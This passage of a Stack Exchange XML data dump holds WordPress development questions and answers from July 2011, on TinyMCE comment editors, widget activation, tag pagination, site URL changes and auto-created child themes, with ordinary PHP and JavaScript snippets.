  <row Id="22088" PostTypeId="2" ParentId="22027" CreationDate="2011-07-05T21:22:17.197" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if this meets your specific requirements, but I've used this to get a &quot;condensed&quot; version of the TinyMce editor on my comments form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        add_action( 'comment_form_after', 'tinyMCE_comment_form' );&#xA;    function tinyMCE_comment_form() {&#xA;    ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo includes_url( 'js/tinymce/tiny_mce.js' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;/script&amp;gt;;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            tinyMCE.init({&#xA;                theme : &quot;advanced&quot;,&#xA;                mode: &quot;specific_textareas&quot;,&#xA;                language: &quot;&quot;,&#xA;                skin: &quot;default&quot;,&#xA;                theme_advanced_buttons1: 'bold, italic, underline, blockquote, strikethrough, bullist, numlist, undo, redo, link, unlink',&#xA;                theme_advanced_buttons2: '',&#xA;                theme_advanced_buttons3: '',&#xA;                theme_advanced_buttons4: '',&#xA;                elements: 'comment',&#xA;                theme_advanced_toolbar_location : &quot;top&quot;,&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If you need more specific&#xA;functionality not included in the&#xA;sample I've provided, post your&#xA;specific need and I'll try to help you&#xA;out.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-07-06T01:02:26.553" LastActivityDate="2011-07-06T01:02:26.553" CommentCount="2" />
  <row Id="22089" PostTypeId="2" ParentId="22085" CreationDate="2011-07-05T21:30:55.877" Score="1" ViewCount="" Body="&lt;p&gt;If you coded it correctly, your widget will automatically be registered upon activation, but there's no good way to automatically place it in a sidebar.  The theme might define multiple sidebars, so you won't know ahead of time &lt;em&gt;which&lt;/em&gt; sidebar to place it in to.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-05T21:30:55.877" />
  <row Id="22090" PostTypeId="2" ParentId="22085" CreationDate="2011-07-05T21:32:33.787" Score="2" ViewCount="" Body="&lt;p&gt;By &quot;install&quot; your widget, I'm assuming you mean &quot;automatically add the new widget to the sidebar for your user after the plugin gets 'activated'&quot;.  (Because if you activate the plugin, which also contains a widget, your widget should be visible in the widgets area immediately, without any more work needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jordan Bosch has a &lt;a href=&quot;http://boedesign.com/blog/2009/08/15/auto-activate-widgets-in-wordpress-mu/&quot; rel=&quot;nofollow&quot;&gt;great write-up&lt;/a&gt; on how to create a plugin that automatically assigns a widget to the sidebar without intervention from the user.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're already familiar with plugin / widget development, that should get you going pretty quickly.  Good luck!&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-05T21:32:33.787" CommentCount="2" />
  <row Id="22091" PostTypeId="2" ParentId="22027" CreationDate="2011-07-05T22:00:29.127" Score="0" ViewCount="" Body="&lt;p&gt;You're trying to use an admin function... outside of the admin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_tiny_mce&lt;/code&gt; is defined in &lt;code&gt;wp-admin/includes/post.php&lt;/code&gt; - you'll need to include the file manually, or use an alternative as @Jeremy suggests.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-07-05T22:00:29.127" />
  <row Id="22092" PostTypeId="2" ParentId="22043" CreationDate="2011-07-05T22:06:11.073" Score="1" ViewCount="" Body="&lt;p&gt;Just change the &lt;code&gt;action&lt;/code&gt; attribute of your search form in your theme, for example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo home_url( $GLOBALS['wp']-&amp;gt;request ); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will dynamically output the URL of the current request, so that when a user searches, the query string is simply &lt;em&gt;appended&lt;/em&gt; to it, rather than pointing back at the root.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-07-05T22:06:11.073" CommentCount="2" />
  <row Id="22093" PostTypeId="1" AcceptedAnswerId="22101" CreationDate="2011-07-05T22:17:12.453" Score="0" ViewCount="86" Body="&lt;p&gt;I have a page that displays a list of  all tags of my blog. Iuse this code which works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$poststocount=get_tags($args);&#xA;echo '&amp;lt;h2&amp;gt;Alphabetic Index of All '&amp;lt;/h2&amp;gt;';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$taxonomy = 'post_tag';&#xA;$tax_terms = get_terms($taxonomy);&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ($tax_terms as $tax_term) {&#xA;echo '&amp;lt;li&amp;gt;' . '&amp;lt;a href=&quot;' . esc_attr(get_term_link($tax_term, $taxonomy)) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tax_term-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $tax_term-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question: how can I paginate this lidt (say 40 per page). What would the code to accompish that, preferably with an option to &quot;see all tags&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-05T22:43:56.547" LastActivityDate="2011-07-23T18:34:56.600" Title="How to paginate a list of tags" Tags="&lt;pagination&gt;" AnswerCount="1" />
  <row Id="22094" PostTypeId="1" AcceptedAnswerId="22119" CreationDate="2011-07-05T22:23:02.663" Score="1" ViewCount="51" Body="&lt;p&gt;So I originally designed the site without the www. I've since realized that it's going to cause more problems than necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a rewrite rule that converts to www. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then changed the domain in wp-config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'DOMAIN_CURRENT_SITE', 'openeye.net' );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;define('WP_HOME','http://www.openeye.net');&#xA;define('WP_SITEURL','http://www.openeye.net');&#xA;define('WP_MEMORY_LIMIT', '96M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm now not able to edit pages or access wp-admin. What would cause that?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-07-06T04:10:01.417" Title="Why am I unable to login after converting to www?" Tags="&lt;wp-admin&gt;&lt;domain&gt;&lt;wp-config&gt;" AnswerCount="2" />
  <row Id="22096" PostTypeId="2" ParentId="22094" CreationDate="2011-07-05T22:48:29.617" Score="1" ViewCount="" Body="&lt;p&gt;Are you able to access your DB?  Check that your site url is correct in the wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From WordPress's perspective, what you've actually done is &quot;moved&quot; your web site to a completely different URL (just as if you were to forklift your site from &quot;mydomain.com&quot; to &quot;anothersite.net&quot;.  This can often cause login issues, but if you follow the instructions in these two articles I think you'll be just fine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing The Site URL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-05T22:48:29.617" CommentCount="3" />
  <row Id="22097" PostTypeId="1" AcceptedAnswerId="22135" CreationDate="2011-07-05T22:54:32.623" Score="0" ViewCount="231" Body="&lt;p&gt;I have a question.&#xA;I just installed Wordpress 3.2. And ever since then, when I want to add a custom field, precisely when I clicked on &quot;Add custom field&quot;, my page is refreshed. And no custom field is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it ? Ajax bug ? Wordpress 3.2 ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me please ?&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2011-08-05T09:39:03.607" Title="Custom field bug in Wordpress 3.2" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22098" PostTypeId="1" CreationDate="2011-07-05T22:55:14.387" Score="1" ViewCount="14" Body="&lt;p&gt;We have a client who is using WP as part of an alternate reality game, and as part of it, they want to have 'characters' leave comments on posts at certain times. They basically want to be able to queue up comments in advance, so that they drop at the right time (similar to how you can control posts going live at a certain time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that handles this?&lt;/p&gt;&#xA;" OwnerUserId="6773" LastActivityDate="2011-07-05T22:55:14.387" Title="Delayed commenting" Tags="&lt;comments&gt;" CommentCount="1" />
  <row Id="22099" PostTypeId="1" CreationDate="2011-07-05T22:59:12.540" Score="0" ViewCount="34" Body="&lt;p&gt;I have a custom post type called 'Opinions' set up which has a custom field called &quot;Opinion URL&quot; in it. I'm currently outputting the URL in index.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?=$opinion_url?&amp;gt;&quot;&amp;gt;Read Opinion&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;WP-PostRatings&lt;/a&gt; to add a vote feature to each of these posts in the 'Opinions' post type. Additionally, I have the &quot;most voted list&quot; outputted in my sidebar with the following tag provided by the plugin author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (function_exists('get_highest_score')): ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php get_highest_score('post', 0, 5); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have the following template set up in the WordPress dashboard under the WP-PostRatings settings page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;%POST_URL%&quot; &amp;gt;%POST_EXCERPT%&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above two pieces of code outputs the list like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://site-name.com/opinions/post-name/&quot;&amp;gt;Lorem ipsum dolor...&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://site-name.com/opinions/post-name/&quot;&amp;gt;Lorem ipsum dolor...&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my question:&lt;/strong&gt; How do I make it so that the excerpt above is linked to the &quot;opinion_url&quot; (i.e. the custom field I have set up for the Opinions post type) instead of &lt;code&gt;http://site-name.com/opinions/post-name/&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way for me to be able to input &quot;opinion_url&quot; in the settings page like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;opinion_url&quot; &amp;gt;%POST_EXCERPT%&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps something needs to be changed in &lt;a href=&quot;http://pastebin.com/agJyzDTP&quot; rel=&quot;nofollow&quot;&gt;wp-postratings.php&lt;/a&gt;? If anybody can help, I'd be very grateful.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-07-06T00:57:27.743" LastActivityDate="2011-07-06T00:57:27.743" Title="WP-PostRatings: Have excerpts linked to external url custom field I have set up in a custom post type?" Tags="&lt;plugins&gt;&lt;plugin-wp-postratings&gt;" CommentCount="2" />
  <row Id="22100" PostTypeId="2" ParentId="22097" CreationDate="2011-07-05T23:00:12.273" Score="0" ViewCount="" Body="&lt;p&gt;Try refreshing your browser cache (Ctrl + F5).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-05T23:00:12.273" CommentCount="1" />
  <row Id="22101" PostTypeId="2" ParentId="22093" CreationDate="2011-07-05T23:08:33.653" Score="0" ViewCount="" Body="&lt;p&gt;you could paginate your page by simply adding &lt;code&gt;/page/n&lt;/code&gt; to the end of the URL, where &lt;code&gt;n&lt;/code&gt; is the desired page number. creating your next/prev links will be a manual affair though. the page number will then be accessible via &lt;code&gt;get_query_var('paged')&lt;/code&gt;. then use the &lt;code&gt;number&lt;/code&gt; argument for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms&lt;/code&gt;&lt;/a&gt; to select 40 at a time, use the &lt;code&gt;offset&lt;/code&gt; argument, which will be your page number -1 * number per page, to select the current &quot;page&quot; of terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = ( get_query_var('paged') ) ? get_query_var( 'paged' ) : 1;&#xA;$taxonomy = 'post_tag';&#xA;$offset = ( $page-1 ) * 40;&#xA;$args = array( 'number' =&amp;gt; 40, 'offset' =&amp;gt; $offset );&#xA;$tax_terms = get_terms( $taxonomy, $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as for viewing all, maybe append a GET var to the URL, &lt;code&gt;?showall=true&lt;/code&gt;, then check &lt;code&gt;isset( $_GET['showall'] )&lt;/code&gt; and change the number to fetch accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a quick template I made to show an example. I tested it on a page on a test install with pretty permalinks, the page was 'about', so the pagination links were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/about/page/2/&#xA;http://localhost/about/?showall=true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if your permalinks are different, you'll have to edit the pagination section to reflect your setup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;get_header();&#xA;&#xA;// if show all is set&#xA;if( isset($_GET['showall']) ):&#xA;&#xA;    $args = array( 'hide_empty' =&amp;gt; 0 );&#xA;&#xA;else:&#xA;// else show paged&#xA;&#xA;    $page = ( get_query_var('paged') ) ? get_query_var( 'paged' ) : 1;&#xA;    // number of tags to show per-page&#xA;    $per_page = 40;&#xA;    $offset = ( $page-1 ) * $per_page;&#xA;    $args = array( 'number' =&amp;gt; $per_page, 'offset' =&amp;gt; $offset, 'hide_empty' =&amp;gt; 0 );&#xA;&#xA;endif;&#xA;&#xA;$taxonomy = 'post_tag';&#xA;$tax_terms = get_terms( $taxonomy, $args );&#xA;&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;foreach ($tax_terms as $tax_term) {&#xA;    echo '&amp;lt;li&amp;gt;' . '&amp;lt;a href=&quot;' . esc_attr(get_term_link($tax_term, $taxonomy)) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $tax_term-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $tax_term-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;&#xA;// pagination&#xA;// if showall isn't set&#xA;if( !isset($_GET['showall']) ):&#xA;&#xA;    $total_terms = wp_count_terms( 'post_tag' );&#xA;    $pages = ceil($total_terms/$per_page);&#xA;&#xA;    // if there's more than one page&#xA;    if( $pages &amp;gt; 1 ):&#xA;        echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;        for ($pagecount=1; $pagecount &amp;lt;= $pages; $pagecount++):&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'page/'.$pagecount.'/&quot;&amp;gt;'.$pagecount.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        endfor;&#xA;&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;        // link to show all&#xA;        echo '&amp;lt;a href=&quot;'.get_permalink().'?showall=true&quot;&amp;gt;show all&amp;lt;/a&amp;gt;';&#xA;    endif;&#xA;&#xA;else:&#xA;// showall is set, show link to get back to paged mode&#xA;&#xA;    echo '&amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;show paged&amp;lt;/a&amp;gt;';&#xA;&#xA;endif;&#xA;&#xA;&#xA;get_footer();&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-23T18:34:56.600" LastActivityDate="2011-07-23T18:34:56.600" CommentCount="5" />
  <row Id="22103" PostTypeId="2" ParentId="22009" CreationDate="2011-07-06T00:27:30.967" Score="1" ViewCount="" Body="&lt;p&gt;WooThemes is a commercial Theme development shop; they are the only ones who can correct your Theme's jQuery conflicts. I would suggest contacting their official support:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woothemes.com/support/&quot; rel=&quot;nofollow&quot;&gt;http://www.woothemes.com/support/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from the OP's comment in the accepted answer: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;&lt;em&gt;...you are right they are the only&#xA;  actual people who can solve this&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As WooThemes are commercial Themes, anyone who has not purchased the Theme (such as all of the WPSE volunteers) does not have access to the Theme template files. As such, while we can see the &lt;em&gt;rendered output&lt;/em&gt; of the Theme, we can't actually see the underlying code that is causing the jQuery conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can guess, but there's no guarantee that we'll be correct. Thus, I completely disagree with the assertion that it is &quot;patently untrue&quot; that WooThemes support are the only ones who can resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-06T14:51:09.263" LastActivityDate="2011-07-06T14:51:09.263" CommentCount="4" />
  <row Id="22104" PostTypeId="2" ParentId="16518" CreationDate="2011-07-06T00:40:09.020" Score="0" ViewCount="" Body="&lt;p&gt;Try using the &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server&quot; rel=&quot;nofollow&quot;&gt;Add From Server&lt;/a&gt; Plugin, to ensure that your PHP-added images have been added properly to the database.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-06T00:40:09.020" />
  <row Id="22105" PostTypeId="2" ParentId="22009" CreationDate="2011-07-06T00:40:44.700" Score="2" ViewCount="" Body="&lt;p&gt;The problem is with the theme.  On the theme demo the superfish drop downs are not working and for some reason the theme is loading jquery 2 times version 1.3.1 from the theme directory and version 1.6.1 from the WordPress includes directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your site is actually loading jquery 3 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would contact the theme support.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-06T00:40:44.700" CommentCount="1" />
  <row Id="22106" PostTypeId="1" CreationDate="2011-07-06T01:06:48.280" Score="0" ViewCount="26" Body="&lt;p&gt;I would like to make grandchilden pages (main-&gt;sub-&gt;sub) into tabs, I'm using tabs from &lt;a href=&quot;http://www.sunsean.com/idTabs/#t1&quot; rel=&quot;nofollow&quot;&gt;http://www.sunsean.com/idTabs/#t1&lt;/a&gt; (Using usual tabs) but it won't work with wp_head() function and most importantly i can't get it to more then one pages content. Here is my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&amp;lt;?php if(have_posts()) :?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php while(have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;h1&amp;gt;ata&amp;lt;/h1&amp;gt;&#xA;                  &amp;lt;div id=&quot;usual1&quot; class=&quot;usual&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php&#xA;        $mypages = get_pages('child_of='.$post-&amp;gt;ID.'&amp;amp;sort_column=post_date&amp;amp;sort_order=ASC');&#xA;&#xA;        foreach($mypages as $page)&#xA;        {       &#xA;            $content = $page-&amp;gt;post_content;&#xA;            if(!$content) // Check for empty page&#xA;                continue;&#xA;&#xA;            $content = apply_filters('the_content', $content);&#xA;        ?&amp;gt;&#xA;              &amp;lt;li&amp;gt;&amp;lt;a class=&quot;&quot; href=&quot;#tab1&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php&#xA;        }   &#xA;        ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php&#xA;        $mypages = get_pages('child_of='.$post-&amp;gt;ID.'&amp;amp;sort_column=post_date&amp;amp;sort_order=ASC');&#xA;&#xA;        foreach($mypages as $page)&#xA;        {       &#xA;            $content = $page-&amp;gt;post_content;&#xA;            if(!$content) // Check for empty page&#xA;                continue;&#xA;&#xA;            $content = apply_filters('the_content', $content);&#xA;        ?&amp;gt;&#xA;            &amp;lt;div style=&quot;display: none;&quot; id=&quot;tab1&quot;&amp;gt;&amp;lt;?php echo $content ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;             &amp;lt;?php&#xA;                }&#xA;&#xA;                ?&amp;gt;&#xA;            &amp;lt;div style=&quot;display: none;&quot; id=&quot;tab2&quot;&amp;gt;More content in tab 2.&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div style=&quot;display: none;&quot; id=&quot;tab3&quot;&amp;gt;Tab 3 is always last!&amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;sub-content&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;?php the_content('title'); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php else: ?&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Sorry! This page is currently unavailable, please check back later!&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4304" LastActivityDate="2011-07-06T01:06:48.280" Title="Implementing page tabs" Tags="&lt;jquery&gt;&lt;wp-head&gt;&lt;tabs&gt;" />
  <row Id="22107" PostTypeId="1" AcceptedAnswerId="22109" CreationDate="2011-07-06T01:10:05.033" Score="0" ViewCount="50" Body="&lt;p&gt;My theme has a custom.css file that I use to allow designer's to customize the it to their liking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when clicking on &quot;Appearance &gt; Editor&quot;, the style.css file is loaded there by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I don't want custom edits done on this file, I'd like to minimize the chances that someone edits it by placing custom.css there instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Perhaps with the shiny new 3.2 codebase?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-05T01:38:44.457" Title="How to assign the default file at &quot;Appearance &gt; Editor&quot;?" Tags="&lt;theme-development&gt;" AnswerCount="3" />
  <row Id="22108" PostTypeId="2" ParentId="22107" CreationDate="2011-07-06T01:19:15.463" Score="0" ViewCount="" Body="&lt;p&gt;I would instead encourage your users to create Child Themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other advantages, if using &lt;code&gt;Appearance -&amp;gt; Editor&lt;/code&gt;, the Child Theme's &lt;code&gt;style.css&lt;/code&gt; will be the default file available for edit, rather than your (i.e. the Parent) Theme's.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-06T01:19:15.463" />
  <row Id="22109" PostTypeId="2" ParentId="22107" CreationDate="2011-07-06T01:22:59.293" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately you can't control what files are loaded on that page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can disable the editor page and provide the user with theme options that allow him to include his own CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deal with this I'm creating and activating a child theme automatically if possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_child_theme()){&#xA;&#xA;  require_once(ABSPATH.'wp-admin/includes/file.php');&#xA;  if(!WP_Filesystem()){&#xA;    // fail, proably no write-access, use the parent theme...&#xA;  }else{&#xA;&#xA;    $parent = get_theme_data(TEMPLATEPATH.'/style.css');&#xA;    $name = get_stylesheet().'-extend';&#xA;    $destination = trailingslashit($GLOBALS['wp_filesystem']-&amp;gt;wp_themes_dir()).$name;&#xA;&#xA;    $style = &quot;/*\n&quot;&#xA;            .&quot;Theme Name: {$parent['Name']} - Extend\n&quot;&#xA;            .&quot;Theme URI: {$parent['URI']}\n&quot;&#xA;            .&quot;Description: Automatically generated child theme of {$parent['Name']}. Please leave this one activated for proper customizations to {$parent['Name']}.\n&quot;&#xA;            .&quot;Version: 1.0\n&quot;&#xA;            .&quot;Author: {$parent['Author']}\n&quot;&#xA;            .&quot;Author URI: {$parent['AuthorURI']}\n&quot;&#xA;            .&quot;Template: &quot;.get_template().&quot;\n&quot;&#xA;            .&quot;*/\n\n&quot;&#xA;            .&quot;/* You can safely edit this file, but keep the Template tag above unchanged! */\n&quot;;&#xA;&#xA;    if(!$GLOBALS['wp_filesystem']-&amp;gt;is_dir($destination))&#xA;      if($GLOBALS['wp_filesystem']-&amp;gt;mkdir($destination, FS_CHMOD_DIR) &amp;amp;&amp;amp; $GLOBALS['wp_filesystem']-&amp;gt;put_contents($destination.'/style.css', $style, FS_CHMOD_FILE)){&#xA;&#xA;        // copy screenshot and license.txt&#xA;        $GLOBALS['wp_filesystem']-&amp;gt;copy(TEMPLATEPATH.'/screenshot.png', $destination.'/screenshot.png');&#xA;        $GLOBALS['wp_filesystem']-&amp;gt;copy(TEMPLATEPATH.'/license.txt', $destination.'/license.txt');&#xA;&#xA;        switch_theme(get_template(), $name);&#xA;        wp_redirect(admin_url(&quot;themes.php&quot;));&#xA;        die(); // stop execution of the current page&#xA;      }else{&#xA;        // fail again...&#xA;      }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-06T01:22:59.293" />
  <row Id="22110" PostTypeId="2" ParentId="22107" CreationDate="2011-07-06T01:26:46.343" Score="0" ViewCount="" Body="&lt;p&gt;After browsing the code a bit, it looks to me like WordPress doesn't provide an API hook to cleanly change the default file that gets loaded on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you can (from within your theme's functons.php or in a plugin) remove certain menus and sub-menus.  These blog posts should be useful if you decide to go that route (removing the Appearance -&gt; Editor menu all together).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weeklytips.wordpress.com/2006/03/04/extra-tip-removing-admin-menus/&quot; rel=&quot;nofollow&quot;&gt;Removing Admin Menus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hungred.com/how-to/remove-wordpress-admin-menu-affecting-wordpress-core-system/&quot; rel=&quot;nofollow&quot;&gt;Remove WordPress Admin Menu Without Affecting WordPress Core 